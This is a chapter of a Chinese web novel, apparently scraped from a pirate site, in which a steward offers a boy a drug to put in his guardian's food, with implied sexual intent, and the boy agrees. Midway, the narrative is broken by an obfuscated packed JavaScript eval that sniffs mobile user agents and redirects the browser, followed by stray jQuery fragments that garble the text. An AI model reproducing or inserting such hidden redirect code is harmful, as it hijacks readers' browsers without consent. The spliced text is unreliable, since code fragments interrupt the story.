第25章 诱哄

作品:《入骨欢

    “哎哟!”北辰殷没有预料,当真挨了一拳,捂住脸跌在了地上,他瞪大眼睛,震惊的指着她,“你敢打我!”


    他长这么大,就没挨过打!


    她敢打他!


    沈木兮抱胸俯下身:“不是让我给公子捏肩捶腿吗?舒不舒服?要不要再来一下?反正也没人看到,不是吗,我的公子?”


    “你!”……憋了半天,北辰殷才骂出一句,“你怎么胡乱**呢?一点也不像是个姑娘家!”


    比苒妹妹差远了,苒妹妹温柔如水,才不会像是她这样没规矩!


    规矩?规矩没人犯,那还叫规矩吗?


    沈木兮又给了一拳!


    北辰殷霎时被揍成了熊猫眼。


    沈木兮的动作快准狠,还是对准最疼的位置,下雨这栈道路滑,他想起身又给滑了下去,等他终于爬起身时,眼前哪里还有沈木兮的身影!


    可恶极了,他又被这女人摆了一道。


    不,她才不是女人。


    谁家女子这么大的手劲儿,跟头牛一样!


    北辰殷气得直抽,只觉得这回一整年的梦境里,都要甩不掉她了!要死啊……


    彼时的山道客栈。


    雨还没停,山林却早已经黑透。


    客栈老板看着那还在门前站着的少年,无奈摇头走来:“孩子,先进来吧,今夜就不收你的银钱了,快去洗个热水澡,别着凉了。”


    谢景愿再看一眼那被黑暗笼罩的山道,终于垂下了湿透的睫羽,眉心紧紧皱着。


    她,骗了他。


    她还是骗了他,是吗?


    早就知道是这个结果,可当时,他居然真的愿意相信她。


    从她出现在谢家的那一天起,她就讨厌他。


    好像把嫁来谢家怨恨,都归咎到了他的身上。


    她凶狠,无情。


    对狗都比对他好。


    此刻谢景愿想着村里的那只狗,眼中竟生出几分浓浓的嫉妒和羡慕。


    他也曾偷偷的去,想把它偷回来剁了。


    却被她发现了。


    那一日,他被她罚跪在地上,捆着双手,跪舔着吃饭。


    至此后他真的怕了,再也不敢胡来。


    他曾经好想问她,若他成了村口被她摸过的那只狗,永远只听她的话,她会不会心疼他一次。


    而现在,已经不用问了,他已经知道答案了。


    谢景愿抬头再看一眼猎林的方向,收回落寞阴暗的眼转身……


    就在这时,身后的雨夜里传来一道脚步声。


    谢景愿的步子顿住,却没有回头。


    他听得出这不是她的脚步声,只要是她的声音,无论说话吃饭还是走路,亦或被吓出的惊呼,甚至是她睡觉时在被窝里的偷偷嘤咛……他早就熟记于心。


    “你是那位沈姑娘的家人吧?”身后的人冒着雨水跑来问。


    谢景愿转身。


    客栈里的油灯一点点映亮了那人干瘦蜡黄,又带着笑的诡异老脸。


    李管事脱下蓑衣凑过来,笑起来脸上的瘦皮都皱成了一堆:“我是那边猎林的管事。你就是沈姑娘的弟弟了,对吧?”


    谢景愿不是个喜欢和旁人说话的性子,他也不喜欢眼前这个主动满脸带笑的老男人,眼眸藏着暗光里,没有说话。


    “你娘她今日得了贵人的喜爱,这会儿还在伺候贵人呢,她还说,你是她的拖累,想让我把你弄走。可我见你可怜,实在下不去手,便没答应。”


    谢景愿的双唇抿得很紧,好像连四周夜里的风声都更凉了。


    “我已经听说了你和她的事,她平日待你不好,对吧?其实我也看她不顺眼。这样吧,我帮你。”


    李管事悄悄地拿出了一个药包,咧着满嘴黄牙。


    “瞧,这可是好东西。”


    “只要你帮我下在她的吃食里,她既不会多怀疑,等吃下后,还会乖乖听话,再也不会欺负你。”李管事眼神诡异,诱哄着对少年说。


    看着那个药包,谢景愿像是终于有了反应,抬起脸看去猥琐的李管家,看起来很是单纯地发问:“这个,真的可以让她不再欺负我吗?”


    “那是当然!我还会帮你欺负她的,而且是狠狠地欺负!”黑夜掩盖了李管事眼底里的淫邪,只听到他话语十分认真,“等我帮你仔细地调教好她后,她今后定会乖乖听话的。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989324|193682||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    眼前少年五官精致,小脸白皙,但因为太瘦了,一双细长湿红的眼空洞洞的挂在眼眶里,直视着李管事的眼。即便是一副单纯模样,也莫名阴气十足。


    看得李管事莫名背后起了一身鸡皮疙瘩,微微往后退了一步。


    蓦地,少年点头笑了,湿红眼中蒙上一层诡异雾色,弯唇哑声说。


    “好啊,那我把她给你。”


    ……


    这夜雨势最大的时候,沈木兮才匆匆赶了来。


    她不常上山,更别说是这样大的雨了,山里的路不好走,在路上多耽搁了时间,但总算是赶到了这。


    可到了客栈却听老板说:“那个少年吗?他已经不在这了。”


    沈木兮听到这句,踮起脚一把抓住老板的衣襟:“你说什么?什么叫做不在这了!”


    路上都是树杈,沈木兮为了保护伞,身上都被淋透了,此刻浑身上下都在滴水,发丝黏在脸上,脸色惨白惨白的,衬着那凶巴巴瞪着人的眼睛,像是从水里爬出来的水鬼一样,


    老板吓得哆嗦,心说这一家子,怎么没一个像“人”……


    “是…是走了,早就离开这了。去什么地方,我也不知道。”


    沈木兮不死心,又去房间找了一通,最后把整个客栈都寻了,依旧没找到谢景愿。


    真的走了吗?


    是她的错,是她来迟了。


    沈木兮从来没有这么慌乱和内疚过,顶着浑身的雨水,湿漉漉地站在客栈门前,望着眼前阴暗的黑夜,好像再也看不到一丝光亮。


    他是不是以为,她不来了,所以走了?


    她的心里,有什么地方突然咔嚓一声裂开……


    冷风中,沈木兮身子晃了晃,仿若失去了自己的所有目标,一切都变得那么渺茫和模糊。


    “是她吗?”


    身侧客栈里的人开始小声嘟哝。


    “就是她!把孩子丢在这就走了,多么听话的孩子啊,乖乖地在这等她到黑夜。怎么会有这么狠心的人?”


    “要我说啊,这样狠心的女人,下十八层地狱都是轻的……”


    “是啊,她怎么不**……”